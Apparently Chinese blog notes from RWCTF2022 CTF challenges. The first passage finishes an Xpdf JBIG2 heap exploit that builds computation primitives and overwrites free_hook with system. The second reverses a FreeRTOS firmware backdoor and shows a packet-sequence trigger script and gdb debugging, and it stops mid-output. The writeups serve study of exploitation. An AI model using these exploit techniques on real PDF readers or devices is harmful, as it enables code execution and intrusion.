一维偏移量向二维偏移量映射时,为什么使用的是 2^27 作为除数/模数呢?因为这是上面所修改后的 width 的大小。

接下来当 hso 解析 oa 对应的 RefinementRegionSeg 时,hso 会重新读入先前存入的 ob 对应的 RefinementRegion,并将其与 pageBitmap 特定 xy1 位置进行位运算,达到指定 pageBitmap 上任意两位之间进行位运算的目的。

这里需要注意的是,findSegment 查找算法的核心,是依次遍历 segments 列表的元素并比对 segNum 来进行查找。因此每次添加进 segment 的 RefinementRegion,其 segNum 一定不能与之前 append 进去的 segments 相同!

当位运算原语 binop 可用后,接下来就可以构建其他原语:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bitwise_mov = lambda a, b: bitop(a, b, CombOp.Replace)
bitwise_xor = lambda a, b: bitop(a, b, CombOp.Xor)
bitwise_and = lambda a, b: bitop(a, b, CombOp.And)
bitwise_or = lambda a, b: bitop(a, b, CombOp.Or)


def op_q_q(oa, ob, op: CombOp):
for i in range(64):
bitop(oa * 8 + i, ob * 8 + i, op)


# Offsets are in bytes.
mov_q_q = lambda a, b: op_q_q(a, b, CombOp.Replace)
xor_q_q = lambda a, b: op_q_q(a, b, CombOp.Xor)
and_q_q = lambda a, b: op_q_q(a, b, CombOp.And)
or_q_q = lambda a, b: op_q_q(a, b, CombOp.Or)

这里的 op_q_q 原语,其 oa、ob 参数的单位为字节(注意和 binop 的单位并不相同)。

op_q_q 原语的目的,是对给定 oaob 的相对一维偏移字节所对应的两个位置,做一次8字节位运算

举个例子,原语 and_q_q(0, 8),执行的操作为:

  • 偏移量为 0字节 的位置上的八字节(即 0-7 这8个字节),与 偏移量为 8字节 的位置上的 八字节(即 8-15 这8字节),进行一次一一对应的 and 运算。
  • 将运算结果放置在偏移量为 0字节 的位置上的八字节(即 0-7 这8个字节)上。

这个原语其实很好理解,只是用文字记录下来感觉不太好记录,也可能是我文笔不太好。

之后便是通过位运算来构建8字节全加器,可以先看看这篇文章再看看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Don't worry, Libra won't hu^W^W^W Xpdf allocates 1 more byte
adder_buf_offset = GLIST_DATA_SIZE // 4 * 8 # 1024

def add_q_q(oa, ob):
oa, ob = oa * 8, ob * 8
ab_xor, ab_and, carry, ab_xor_c_and, zero = range(
adder_buf_offset, adder_buf_offset + 5
)
# 初始时,最低位全加器的进位标志为0
bitwise_mov(carry, zero)
# 8字节 = 64 位,因此这里的 range 为 64
for i in range(64):
# 这里是每个 **位** 的全加器,一个全加器由两个半加器构成
a_bit_offset = oa + i // 8 * 8 + (7 - i % 8)
b_bit_offset = ob + i // 8 * 8 + (7 - i % 8)
# This is a naive full-adder. Applying TIS-100 skill could cut 3~4 ops maybe.
# 首先是第一个半加器
bitwise_mov(ab_xor, a_bit_offset)
bitwise_xor(ab_xor, b_bit_offset)
bitwise_mov(ab_and, a_bit_offset)
bitwise_and(ab_and, b_bit_offset)
# 其次是第二个半加器
bitwise_mov(a_bit_offset, ab_xor)
bitwise_xor(a_bit_offset, carry) # output (S)
bitwise_mov(ab_xor_c_and, ab_xor)
bitwise_and(ab_xor_c_and, carry)
# 设置进位标志
bitwise_mov(carry, ab_and)
bitwise_or(carry, ab_xor_c_and)

其全加器结构如下所示:

1582983175-59c4f8cba758f_articlex

3. 立即数运算原语

除了上面所介绍的位运算原语以外,还有加载外部立即数计算的原语。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def op_q_imm(offset, imm, op):
offset *= 8
x, y = offset % 2 ** 27, offset // 2 ** 27
page0.append(
GenericRegion(
233, x=x, y=y, comb_op=op, bitmap=Bitmap(struct.pack("<Q", imm)), imm=True
)
)


mov_q_imm = lambda o, imm: op_q_imm(o, imm, CombOp.Replace)
xor_q_imm = lambda o, imm: op_q_imm(o, imm, CombOp.Xor)
and_q_imm = lambda o, imm: op_q_imm(o, imm, CombOp.And)
or_q_imm = lambda o, imm: op_q_imm(o, imm, CombOp.Or)

readGenericRegionSeg 方法可从外部 JBIG2Stream 流中读入一个 bitmap 并将其与 pageBitmap 上的特定位置进行运算,因此 GenericRegionSeg 可用于此处的立即数运算原语。

4. 地址解引用原语

当我们有了某个指针的绝对地址后,我们如何将这个指针从该绝对地址中读取出来呢?这就需要用到地址解引用操作。这里,exploit 准备了两个原语:

  • rebase_variable_q:将 pageBitmap 中一维偏移为 addr_page_offset 处的 8 字节数据,复制进堆风水中最后一步所创建的带有 16 个 Bitmap 的 SymbolDict 中,第 idx 个 JBIG2Bitmap 的 data 字段上:

    注意,是直接将值覆盖在 JBIG2Bitmap 的 data 字段上,而不是写进 data 指针所指向的内存上。

    1
    2
    3
    4
    5
    def rebase_variable_q(idx, addr_page_offset):
    mov_q_q(
    variable_bitmap_offset + idx * ptmalloc_chunk_size(0x20) + 0x18,
    addr_page_offset,
    )
  • load_variable:读取最后一个 Symbol Dict 中,第 idx 个 JBIG2Bitmap backing store 里的(即 data 指针解引用后的内存上) 的第一个 8 字节数据,至 pageBitmap 中一维偏移为 to_page_offset 处的 8 字节内存位置。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    def load_variable(to_page_offset, idx):
    to_page_offset *= 8
    x, y = to_page_offset % 2 ** 27, to_page_offset // 2 ** 27
    page0.append(
    TextRegion(
    233,
    x=x,
    y=y,
    w=64,
    h=1,
    imm=True,
    instances=[idx],
    ref_symbol_cnt=16,
    ref_segs=[105],
    )
    )

这两个原语一结合,就能达到地址解引用的目的。

5. 整体利用流程

各类原语已经都准备好了,接下来便是结合这些原语覆写 free_hook 为 libc_system 的地址。

首先,我们需要 leak 一个地址出来(这个地址自然不能是堆地址),通过查看堆布局:

1
2
3
4
5
6
7
// low address .....
...
SymbolDict3-8;
pageBitmap backing buffer // size=16 的 global GList backing store 堆空洞
SymbolDict9-16;
...
// high address .....

可以看到紧临着 pageBitmap 的便是 SymbolDict,因此我们可以尝试读取其虚表指针

1
2
3
# vtbl of a JBIG2SymbolDict adajacent to page bitmap buffer
# 取出vtbl地址放到+0处
mov_q_q(0, ptmalloc_chunk_size(GLIST_DATA_SIZE // 4))

之后从外部读取一个相对偏移至 pageBitmap data + 8 的位置:

1
2
3
4
# 计算出-vtbl_offset + free_got_offset
mov_q_imm(
8, (-PDFTOHTML_VTBL_JBIG2SYMBOLDICT_OFFSET + PDFTOHTML_FREE_GOT_OFFSET) % 2 ** 64
)

然后再简单做个加法,就能得到 free 条目在 GOT 表上的绝对地址,放到 +0 处:

1
2
# 计算vtbl地址+(-vtbl_offset + free_got_offset)得到free_got的地址,放到+0处
add_q_q(0, 8)

接下来,尝试对该 free.got 地址进行解引用,获取 free.libc 地址:

1
2
3
4
# 从+0处取出free_got的地址,放到第0个"变量"data 指针处
rebase_variable_q(0, 0)
# 取出存放在第0个"变量"里的值(此时该值为 libc.free 的绝对地址),放到+8处
load_variable(8, 0) # address of libc.free at +8

在获取到 free.libc 地址后,读入一个相对偏移并做个加法,经过简单几步,我们便能得到 free_hooklibc_system 的绝对地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 把LIBC_FREE_OFFSET这个立即数的值放到+0处
mov_q_imm(0, -LIBC_FREE_OFFSET % 2 ** 64)
# 计算free_got的地址+(-libc_free_offset),得到libc基地址,放到+8处
add_q_q(8, 0)
# 复制+8处存放的libc基地址至+0处
mov_q_q(0, 8)
# 把LIBC_FREE_HOOK_OFFSET这个立即数放到+16处
mov_q_imm(16, LIBC_FREE_HOOK_OFFSET)
# 计算出libc基地址+LIBC_FREE_HOOK_OFFSET,即free_hook的绝对地址,放到+0处
add_q_q(0, 16)
# 取出system的偏移这个立即数,放到+16处
mov_q_imm(16, LIBC_SYSTEM_OFFSET)
# 计算出system的绝对地址,放到+8处
add_q_q(8, 16)

注意,此时 pageBitmap->data 上的数据为:

1
+0: free_hook_address     +8: libc_system_address

接下来便是计算 pageBitmap->data + 8 的地址,即存放着这个 libc_system_address 值的内存地址:

1
2
3
4
5
6
# 取出pagebitmap的data指针,放到+24处
mov_q_q(24, page_bitmap_buf_to_data_ptr)
# 把立即数8放到+16处
mov_q_imm(16, 8)
# 将data指针加上8,并将结果放到+24处
add_q_q(24, 16)

计算出这个内存地址的用处是什么呢?继续向下看,注意重头戏快到了:

1
2
3
4
5
6
7
8
9
# 取出pagebitmap的data指针的值放到第0个变量的 data 字段
rebase_variable_q(0, page_bitmap_buf_to_data_ptr)
# 取出data指针+8的值,放到第1个变量的 data 字段
rebase_variable_q(1, 24)
# 取出第0个变量的值,放到data指针处, 这一步会修改 data 指针为 free_hook_address
load_variable(page_bitmap_buf_to_data_ptr, 0)
# 取出第1个变量的值(也就是 libc_system_address),放到+0处,也就是 free_hook 基地址上的那个指针值
# 这样就完成了改写 free hook 的操作
load_variable(0, 1)

这样,此时的 free hook 便被改写成了 libc_system 的地址,接下来便是尝试执行命令。

这里再 append 一个 带有待执行命令的 bitmap:

1
2
3
page0.append(
GenericRegion(233, x=64, y=0, comb_op=CombOp.And, bitmap=Bitmap(COMMAND_TO_RUN))
)

这样当 readGenericRegionSeg 函数结束时,新创建的 bitmap(即带有命令的 bitmap)将会被 free 掉,这样就可以触发 system(command)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void JBIG2Stream::readGenericRegionSeg(Guint segNum, GBool imm,
GBool lossless, Guint length)
{
[...];
// read the bitmap
bitmap = readGenericBitmap(mmr, w, h, templ, tpgdOn, gFalse,
NULL, atx, aty, mmr ? length - 18 : 0);

// combine the region bitmap into the page bitmap
if (imm)
{
if (pageH == 0xffffffff && y + h > curPageH)
{
pageBitmap->expand(y + h, pageDefPixel);
}
pageBitmap->combine(bitmap, x, y, extCombOp);
// 在这里触发 system
delete bitmap;

// store the region bitmap
}
[...]
}

但有两点需要注意:

  1. imm 必须为 true,这样才能触发 delete 操作。

  2. 创建的 GenericRegionSeg,其二维偏移 xy 映射至一维偏移后的偏移量,不能小于 64(即 8 字节)

    这是因为代码中会先执行 pageBitmap->combine 再执行 delete bitmap 操作。此时的 pageBitmap->data 为 free hook address,如果执行 combine 时修改了pageBitmap->data 最低的8个字节,那么 free 时就无法调用到 libc_system,因为保存在 free_hook 上面的 libc_system 地址被破坏了。

六、参考

RWCTF2022 Pwn 笔记2 - FLAG Writeup

简介

这里是复盘 RWCTF2022 中 FLAG 题时所写下的一些笔记。

由于这题较为复杂,因此需要单独开一个博文来记录。

联合作者:sakura

一、FLAG 小叙

1
2
3
4
5
6
7
8
FreeRTOS+LwIP+ARM+GoAhead
I don't want another backdoor ctf. So I have to say: "There is a backdoor in challange"
The default account in attachment is admin:admin
nc 8.210.44.156 31337
attachment

Pwn, difficulty:normal
Hint: flag.bin has a backdoor/bugdoor and you're supposed to take over it. The flag is not embedded in the binary and will be made available to the appliance via network at runtime, see docker-compose.yml in attachment for details.

这一题是多个部件组成的一个二进制文件,其中

  • FreeRTOS:轻量级实时操作系统。
    • 无内核,所有任务运行在实模式,可以执行特权指令
    • 业务逻辑与内核代码一同编译成单个二进制文件,因此无 NX、PIE、ASLR 等。
    • 无保护模式,因此执行 shellcode 后需要保证 OS 不崩溃。
  • LwIP:轻量级 TCP/IP 实现,适用于资源较少的轻量级嵌入式系统
  • ARM:ARM 32 little-endian 架构
  • GoAhead:一个嵌入式微型网页服务

题目给了一些附件,其中有用的主要有:

  • flag.py:docker 服务会在 每30s 向接口 http://localhost:5555/action/backdoor 发送一次 GET 请求,如果:

    • 请求返回 {'status' : 'success'}
    • 请求返回 HTTP 状态码为 200

    flag.py 将会加载 flag 并且以 {"flag": flag} 的形式发送给该 backdoor。

    很明显,我们需要 pwn 掉这个 binary,伪造一个 backdoor 服务、尝试接收传来的 flag 并输出给用户

  • flag.bin:题目的二进制附件,这个暂且略过不表。

  • dockerfile: 其中记录了 qemu 的启动参数:

    1
    2
    3
    4
    5
    6
    7
    qemu-system-arm \
    -m 64 \
    -nographic \
    -machine vexpress-a9 \
    -net user,hostfwd=tcp::5555-:80 \
    -net nic \
    -kernel /mnt/flag.bin

把题目启动之后,访问 localhost:5555,即可访问到题目 Web 服务的登录界面:

image-20220128144627376

接下来输入账号admin、密码admin,进入到一个普通的小游戏页面,看上去没什么特别的,估计不是重点;直接访问 backdoor 接口,返回 404 界面。

如果想退出 QEMU, 则在启动 qemu 的终端里,先键入 ctrl + a,之后抬起这两个键,并接着按下 x 即可退出。

二、FLAG 环境搭建

  • 下载并安装 IDA BinDiff 插件 - download link (ladder needed)

    网上的教程里描述了安装该插件时需要指定 IDA 安装路径,但是本人实测安装时并没有要求指定 IDA 安装路径,但是 IDA 仍然可以识别并加载 BinDiff 插件。

    BinDiff 将用于恢复 GoAhead 符号。

  • 下载多架构 gdb:

    1
    sudo apt-get install gdb-multiarch

    调试 kernel 的方式:

    • 在 qemu 启动参数后加上 -gdb tcp::1234
    • 然后使用 gdb-multiarch 执行 target remote localhost:1234 连接 qemu

三、确定内核加载基地址

如果我们直接把题目内核拖入 IDA 中,IDA 是无法识别的,因此需要确定并指定加载基地址。

基地址的确定本身就是一件比较难的事情,需要逻辑推理+大胆猜测。

我们先将 flag.bin 拖入 32 位 IDA(注意是32位) ,指定 Processor Type 为 ARM Little-endian:

image-20220128162324429

之后对前几条指令执行 make code 操作(快捷键 p 或者 c),会生成一系列的内存地址加载指令:

image-20220128164704594

注意到这几条访问内存地址为 0x6001XXXX 的指令,结合 gdb 调试断下的指令位置为 0x60010658

image-20220128164823570

因此我们可以大胆推断基地址应该为 0x60010000

加载基地址确定好后,就可以为 IDA 重设基地址。

image-20220128151550841

之后 IDA 便可以分析出部分代码等:

image-20220128165114508

接下来还需要全选IDA中的代码+数据,并右键点击 Analyze 进行完整分析,等待它分析完成。

image-20220128175327783

但是这里的分析不会完全的进行分析,因此还需要使用这个 firmware-fix 脚本来进行二次分析,执行自动创建函数体、字符串等操作。(确定了代码区末尾地址为 0x6006F544

注意:该脚本无法区分出不同的段,因此在这一题中效果一般般… 会把一些明显是数据的东西恢复成函数。

感兴趣可以看看源码,不长。

执行完成上面的步骤后,仍然有相当一部分的字符串无法使用交叉引用,暂且先这样。

需要注意的是,IDA 的反编译引擎 Hex-Ray 需要参考 segment 的信息来生成 C 代码(例如RWX权限情况),因此我们最好恢复一下。最简单的方式就是把当前这个 ROM 段权限直接改成 RWX,不过本人根据恢复结果创建了一个 text 段。

image-20220128174408119

四、恢复符号

a. GoAhead 符号

现在我们可以尝试恢复 GoAhead 符号。首先通过字符串搜索 + 交叉引用找到 GoAhead 相关的函数:

注意:如果该函数的反汇编无法直接 F5, 则找到该地址的上一个函数末尾地址,并右键点击 Create Function ,之后再反编译即可。

image-20220128175919035

该函数最后一行有一个字符串说明了 GoAHead 的版本号,为 5.1.5,因此我们可以立即编译一个 5.1.5 的 GoAHead 二进制文件:

这里可以指定使用 arm32 编译器来生成 libgo.so,这样 bindiff 效果会更好。

1
2
3
4
5
git clone https://github.com/embedthis/goahead
cd goahead
git checkout v5.1.5
make
file build/linux-x64-default/bin/libgo.so # 目标文件

将该 libgo.so 目标文件拖到 IDA 里,生成 libgo.idb 数据库文件。之后在开启 flag.bin 的 IDA 中,使用 BinDiff 插件与 libgo.idb 进行比对。

通过简单的对比,发现 Similarity 大于 0.80 的函数基本上和 libgo.so 的反编译结果能对上,因此我们可以尝试恢复这部分函数的符号上去:

注意,BinDiff 可以通过比较基本块关联、反编译代码关联等来进行比较,因此即便用于比较的两个文件是不同架构的,该插件仍然可以比较并输出结果。

下图是我恢复 similarity > 0.40 的操作,注意最好不要像我这么冒险,恢复相似度非常低的函数。

image-20220128181721392

接下来需要恢复 GoAHead 结构体定义:在 libgo.so 的 IDA 界面中,点击 File -> Produce file -> Create C Header File 将一些结构体定义输出至新的头文件中;之后在 flag.bin IDA 界面中,点击 File -> Load file -> Parse C header file 导入该头文件。

b. lwIP 符号

题目在启动时便给了版本号:

1
lwIP-2.1.3 initialized!

首先下拉代码并编译:

1
2
3
4
5
6
7
8
git clone https://git.savannah.nongnu.org/git/lwip.git
cd lwip
git checkout STABLE-2_1_3_RELEASE
cmake -B build .
cd build
# 安装 ARM 编译器
sudo apt-get install gcc-arm-linux-gnueabihf
CC=arm-linux-gnueabihf-gcc make lwipcore lwipallapps

make 时遇到各种头文件缺失问题,首先 down 一个 RTOS 源码下来:

1
2
3
# 在 lwIP 的同级目录下
git clone https://github.com/FreeRTOS/FreeRTOS
git submodule update --init --recursive

之后给 lwIP 打上这个 patch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
diff --git a/CMakeLists.txt b/CMakeLists.txt
index f05c0f61..a26752f1 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -14,6 +14,9 @@ set(CPACK_PACKAGE_VERSION_PATCH "${LWIP_VERSION_REVISION}")
set(CPACK_SOURCE_IGNORE_FILES "/build/;${CPACK_SOURCE_IGNORE_FILES};.git")
set(CPACK_SOURCE_PACKAGE_FILE_NAME "lwip-${LWIP_VERSION_MAJOR}.${LWIP_VERSION_MINOR}.${LWIP_VERSION_REVISION}")
include(CPack)
+include_directories ("src/include")
+include_directories ("test/unit")
+include_directories ("../FreeRTOS/FreeRTOS/Demo/CORTEX_A9_Zynq_ZC702/RTOSDemo/src/lwIP_Demo/lwIP_port/include")

# Target for package generation
add_custom_target(dist COMMAND ${CMAKE_MAKE_PROGRAM} package_source)
diff --git a/src/include/lwip/arch.h b/src/include/lwip/arch.h
index 58dae33a..6159082f 100644
--- a/src/include/lwip/arch.h
+++ b/src/include/lwip/arch.h
@@ -126,8 +126,8 @@ typedef uint8_t u8_t;
typedef int8_t s8_t;
typedef uint16_t u16_t;
typedef int16_t s16_t;
-typedef uint32_t u32_t;
-typedef int32_t s32_t;
+// typedef uint32_t u32_t;
+// typedef int32_t s32_t;
#if LWIP_HAVE_INT64
typedef uint64_t u64_t;
typedef int64_t s64_t;
diff --git a/src/include/lwip/sockets.h b/src/include/lwip/sockets.h
index d70d36c4..ac17f302 100644
--- a/src/include/lwip/sockets.h
+++ b/src/include/lwip/sockets.h
@@ -108,7 +108,7 @@ struct sockaddr_storage {
/* If your port already typedef's socklen_t, define SOCKLEN_T_DEFINED
to prevent this code from redefining it. */
#if !defined(socklen_t) && !defined(SOCKLEN_T_DEFINED)
-typedef u32_t socklen_t;
+// typedef u32_t socklen_t;
#endif

#if !defined IOV_MAX
@@ -519,10 +519,10 @@ struct pollfd
#endif

#if LWIP_TIMEVAL_PRIVATE
-struct timeval {
- long tv_sec; /* seconds */
- long tv_usec; /* and microseconds */
-};
+// struct timeval {
+// long tv_sec; /* seconds */
+// long tv_usec; /* and microseconds */
+// };
#endif /* LWIP_TIMEVAL_PRIVATE */

#define lwip_socket_init() /* Compatibility define, no init needed. */

之后重新执行上述的编译操作即可。

但是这样编译出来的竟然是静态链接库,没法拖到 IDA 里分析,因此还需要修改一下 CMakeList 中的东西:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
diff --git a/src/Filelists.cmake b/src/Filelists.cmake
index 21d7b490..179f5716 100644
--- a/src/Filelists.cmake
+++ b/src/Filelists.cmake
@@ -268,12 +268,12 @@ else (DOXYGEN_FOUND)
endif (DOXYGEN_FOUND)

# lwIP libraries
-add_library(lwipcore EXCLUDE_FROM_ALL ${lwipnoapps_SRCS})
+add_library(lwipcore SHARED ${lwipnoapps_SRCS})
target_compile_options(lwipcore PRIVATE ${LWIP_COMPILER_FLAGS})
target_compile_definitions(lwipcore PRIVATE ${LWIP_DEFINITIONS} ${LWIP_MBEDTLS_DEFINITIONS})
target_include_directories(lwipcore PRIVATE ${LWIP_INCLUDE_DIRS} ${LWIP_MBEDTLS_INCLUDE_DIRS})

-add_library(lwipallapps EXCLUDE_FROM_ALL ${lwipallapps_SRCS})
+add_library(lwipallapps SHARED ${lwipallapps_SRCS})
target_compile_options(lwipallapps PRIVATE ${LWIP_COMPILER_FLAGS})
target_compile_definitions(lwipallapps PRIVATE ${LWIP_DEFINITIONS} ${LWIP_MBEDTLS_DEFINITIONS})
target_include_directories(lwipallapps PRIVATE ${LWIP_INCLUDE_DIRS} ${LWIP_MBEDTLS_INCLUDE_DIRS})

然后编译报错,提示 :

1
/usr/bin/ld: errno: TLS definition in /lib/x86_64-linux-gnu/libc.so.6 section .tbss mismatches non-TLS reference in CMakeFiles/lwipcore.dir/src/api/if_api.c.o

将某个头文件中的 extern errno 替换掉即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/src/include/lwip/errno.h b/src/include/lwip/errno.h
index 48d6b539..acd7817f 100644
--- a/src/include/lwip/errno.h
+++ b/src/include/lwip/errno.h
@@ -174,7 +174,8 @@ extern "C" {
#define EMEDIUMTYPE 124 /* Wrong medium type */

#ifndef errno
-extern int errno;
+// extern int errno;
+#include <errno.h>
#endif

#else /* LWIP_PROVIDE_ERRNO */

成功编译出 .so 动态链接库。之后照着上面的步骤恢复符号即可。

后来才发现,这里恢复 lwIP 符号的操作并没有什么用处,纯当是踩坑记录了。

五、漏洞思路

接下来可以看看字符串表中有哪些有用的信息:

image-20220128195501667

看上去都很有趣,但是都找不到交叉引用(恢复的还是不够好)。

不过可以通过全局搜索字符串的地址来找到引用的地方。

image-20220128202705045

继续向上交叉引用,找到该函数,可以看到注册了一个 submit 动作,其事件处理例程就是上一个找到的函数。继续交叉引用发现除了注册了 submit 动作以外,还注册了 login 和 logout 动作,不过这两个动作看上去用处不大,暂且忽略不看。

image-20220128211258805

那如何调用这个 submit 呢?通过字符串搜索可以得出 /web/submit.jst 这个路由路径,因此我们可以通过访问 http://localhost:5555/submit.jst URL 来进入这个页面:

image-20220128211958598

通过先前的逆向过程和网络抓包可以得知,GoAHead 会使用到 Session 技术。因此若我们在该界面提交一串数据后,当我们下一次再访问这个界面,则先前提交的数据将仍然会显示在这里

submit 接口暂时告一段落。根据打题的师傅所说,GoAHead 除了增加 submit 功能以外,其余部分基本没动过。根据我进一步所查询的资料,backdoor 应该是位于 RT-thread(一个国产 RTOS) 中 lwIP模块 的 smc911x 驱动中…

沉思,这个 backdoor 其他师傅们是怎么找出来的…

这里直接开天眼,backdoor 位于地址 0x6001B024 中(smc911x_eth_rx 函数,用于接收数据包),以下是 IDA 反编译+自己简单恢复符号后的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int __fastcall smc911x_emac_rx_backdoor(int a1)
{
int *v1; // r4
char v4[64]; // [sp+Ch] [bp-70h] BYREF
int v5[2]; // [sp+4Ch] [bp-30h] BYREF
int *v6; // [sp+54h] [bp-28h]
int pktlen; // [sp+58h] [bp-24h]
int status; // [sp+5Ch] [bp-20h]
int v9; // [sp+60h] [bp-1Ch]
int *data; // [sp+64h] [bp-18h]
unsigned int v11; // [sp+68h] [bp-14h]
int v12; // [sp+6Ch] [bp-10h]

v12 = 0;
v9 = a1;
if ( !a1 )
rt_assert_handler(byte_600704AC, 0);
if ( (unsigned __int8)((unsigned int)smc911x_reg_read(v9, 124) >> 16) )
{
status = smc911x_reg_read(v9, 64);
pktlen = HIWORD(status) & 0x3FFF;
smc911x_reg_write(v9, 0x6C, 0);
v11 = (unsigned int)(pktlen + 3) >> 2;
v12 = pbuf_alloc(0, 4 * v11, 0x280u);
if ( v12 )
{
data = *(int **)(v12 + 4);
while ( v11-- )
{
v1 = data++;
*v1 = smc911x_reg_read(v9, 0);
}
}
if ( (status & 0x8000) != 0 )
rt_kprintf("EMAC: dropped bad packet. Status: 0x%08x\n", status);
v5[0] = dword_60079E78 + 0x16D6DD4; // backdoor
v5[1] = dword_60079E7C + 0xC25FBB;
v6 = v5;
if ( pktlen == (unsigned __int8)(dword_60079E78 - 0x2C) )// 0x62
{
backdoor_time = time(0);
backdoor_cnt = 1;
}
else if ( pktlen == *((unsigned __int8 *)v6 + backdoor_cnt) && time(0) - backdoor_time <= 4 )
{
++backdoor_cnt;
}
if ( backdoor_cnt == 8 && pktlen == 0x202 && v12 )
diy_memcpy((int)v4, *(_DWORD *)(v12 + 4), pktlen);
}
return v12;
}

而这是该函数的源码(注意函数版本不同,会带来一些差异):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/* reception packet. */
struct pbuf *smc911x_emac_rx(rt_device_t dev)
{
struct pbuf *p = RT_NULL;
struct eth_device_smc911x *emac;

emac = SMC911X_EMAC_DEVICE(dev);
RT_ASSERT(emac != RT_NULL);

/* take the emac buffer to the pbuf */
if (LAN9118_RX_FIFO_INF_RXSUSED(smc911x_reg_read(emac, LAN9118_RX_FIFO_INF)))
{
uint32_t status;
uint32_t pktlen, tmplen;

status = smc911x_reg_read(emac, LAN9118_RXSFIFOP);

/* get frame length */
pktlen = (status & LAN9118_RX_STS_PKT_LEN) >> 16;

smc911x_reg_write(emac, LAN9118_RX_CFG, 0);

tmplen = (pktlen + 3) / 4;

/* allocate pbuf */
p = pbuf_alloc(PBUF_RAW, tmplen * 4, PBUF_RAM);
if (p)
{
uint32_t *data = (uint32_t *)p->payload;
while (tmplen--)
{
*data++ = smc911x_reg_read(emac, LAN9118_RXDFIFOP);
}
}

if (status & LAN9118_RXS_ES)
{
rt_kprintf(DRIVERNAME ": dropped bad packet. Status: 0x%08x\n", status);
}
}

return p;
}

对照可以得出,backdoor 触发条件如下:

  • 发送 8个 payload 数据包,其长度与某个特定数组中的对应 uchar 型数据(即 backdoor 字符串)相等
  • 整个触发 backdoor 的时间必须在 5s 内完成
  • 当 backdoor 计数器为 8 且下一个发送的那个 payload 数据包长度为 0x202

这样就可以触发一个向 0x64 大小的数组覆写 0x202 大小数据的缓冲区溢出漏洞。

由于该题没有 NX、PIE、ASLR 等保护,因此我们可以通过缓冲区溢出来劫持控制流,执行我们的 shellcode,然后一定要在 shellcode 执行完成后恢复函数的栈数据等,并跳转回之前的函数

实时操作系统没有内核的概念,因此如果运行时环境被破坏,控制流无法继续执行,则整个操作系统将立即重启/终止,无法继续执行。

这里,我们需要精心设计 shellcode,这里列出两种解法:

  • 手动注册一个 action/backdoor 对应的事件处理例程路由,将传入的 flag 直接复制至别的文件数据(例如 /path/to/file1)中,这样当 health checker 将 flag 传给 action/backdoor 时,我们便可以通过访问 /path/to/file1 直接获取到 flag。

  • patch 掉错误界面的显示,使其一直显示 {"status" : "success"} 和返回 HTTP200 状态码。之后 patch 错误界面显示相关的代码,使其引用存在题目内存中的 flag,这样当我们下一次访问错误界面时,即可读取到内存中的 flag 并将其返回给网页前端。

六、漏洞利用

a. 触发 backdoor

这里选择第一种方法(挑战一下),手动注册 action/backdoor 的事件处理例程和路由。

通过动态调试得知:

  • 数据包的 metadata 长度为 0x3a,因此我们在发送数据时需要减去该长度。
  • 发送数据包时,一定要间隔发送。否则多个数据包可能会因为网络问题乱序到达,无法通过 backdoor check。
  • 程序可能会多次接受其它不来自于攻击者的数据包(长度0x3e左右,来源未知),因此在调试时需要过滤掉这种情况。

根据上面的分析,我们可以编写出以下的代码来触发漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#! python3
from pwn import *
context(
os='linux',
arch='arm',
bits=32,
encoding='latin',
log_level="debug"
)

def send_packet(packet_len, data=b''):
p = remote("127.0.0.1", 5555)
remain_len = packet_len - len(data)
assert remain_len >= 0
p.send(data + b"_" * remain_len)
p.close()
time.sleep(0.2)

if __name__ == '__main__':
for ch in "backdoor": # \x62 \x61 \x63 \x6b \x64 \x6f \x6f \x72
send_packet(ord(ch) - 0x3a)
send_packet(0x202 - 0x3a)

还记得漏洞触发必须在 4s 内完成,因此编写了该 gdb script 辅助调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
target remote localhost:1234
b *0x6001b1b4
commands
if $r3 > 0x60
printf "packet len = 0x%x\n", $r3
end
continue
end

b* 0x6001B1BC
commands
printf "backdoor_cnt = 0\n"
continue
end

b* 0x6001B250
commands
printf "backdoor_cnt = %d\n", $r2
continue
end

b* 0x6001B298
commands
printf "backdoor_memcpy called\n"
tb *0x6001b2a8
# continue
end

b* 0x600101E4
commands
printf "submit handler called\n"
printf "Webs* wp = 0x%x\n", $r0
continue
end

b* 0x60010208
commands
printf "submit handler websGetVar called\n"
continue
end

# b* 0x60d9c5e8 shellcode ret
# b* 0x60d9c5ec handler address

c

执行效果如下,可以看到成功栈溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x62

Breakpoint 2, 0x6001b1bc in ?? ()
backdoor_cnt = 1

Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x61

